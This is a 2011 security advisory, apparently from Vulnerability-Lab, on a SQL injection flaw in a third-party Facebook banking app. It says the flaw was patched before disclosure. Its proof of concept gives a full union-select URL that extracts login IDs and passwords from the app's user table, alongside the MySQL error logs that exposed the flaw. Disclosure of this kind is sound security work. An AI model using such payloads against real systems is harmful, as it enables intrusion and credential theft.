Document Title: =============== Facebook HangSeng MPF Ajax - SQL Injection Vulnerability Release Date: ============= 2011-09-26 Vulnerability Laboratory ID (VL-ID): ==================================== 263 Product & Service Introduction: =============================== The application is currently included and viewable by all facebook users. The service is an external 3rd party application sponsored by the hangseng bank in hongkong. (Copy from the Vendors Homepage: http://apps.facebook.com/hangseng_mpf_ajax/) Facebook is a social networking service and website launched in February 2004, operated and privately owned by Facebook, Inc. As of July 2011, Facebook has more than 750 million active users. Users may create a personal profile, add other users as friends, and exchange messages, including automatic notifications when they update their profile. Facebook users must register before using the site. Additionally, users may join common-interest user groups, organized by workplace, school or college, or other characteristics. (Copy of the Vendor Website: http://en.wikipedia.org/wiki/Facebook) Abstract Advisory Information: ============================== Vulnerability-Lab researcher discovered a remote SQL Injection vulnerability on the 3rd party web application - HangSeng MPF Ajax (apps.facebook.com). Vulnerability Disclosure Timeline: ================================== 2011-09-05: Vendor Notification 2011-09-08: Vendor Response/Feedback 2011-09-24: Vendor Fix/Patch 2011-09-26: Public or Non-Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A SQL Injection vulnerability is detected on hangsengs MPF ajax facebook application (apps.facebook). The vulnerability allows an attacker (remote) to inject/execute own sql statements on the affected fb application dbms. Vulnerable Module(s): [+] Hang Seng MPF Ajax - Facebook 3rd Party Application Vulnerable Param: [+] ?id= Affected Application: [+] http://apps.facebook.com/hangseng_mpf_ajax/ --- SQL Error Logs --- Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near - at line 1 Whole query: select * from article where id= --- Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1 Whole query: select * from article where id=-1 --- Pictures: ../1.png ../2.png Proof of Concept (PoC): ======================= The vulnerability can be exploited be remote attackers. For demonstration or reproduce ... URL: apps.facebook.com/hangseng_mpf_ajax/ Path: /hangseng_mpf_ajax/ File: details.php Param: ?id= Request: 1+and+false+union+all+select+1,2,3,4,concat%28login_id,0x3a,pw%29,6,7,8,9+from+user-- PoC: http://apps.facebook.com/hangseng_mpf_ajax/details.php?id=1+and+false+union+all+select+1,2,3,4,concat%28login_id,0x3a,pw%29,6,7,8,9+from+user-- Output:
| 4年0月0日 | 重要聲明 |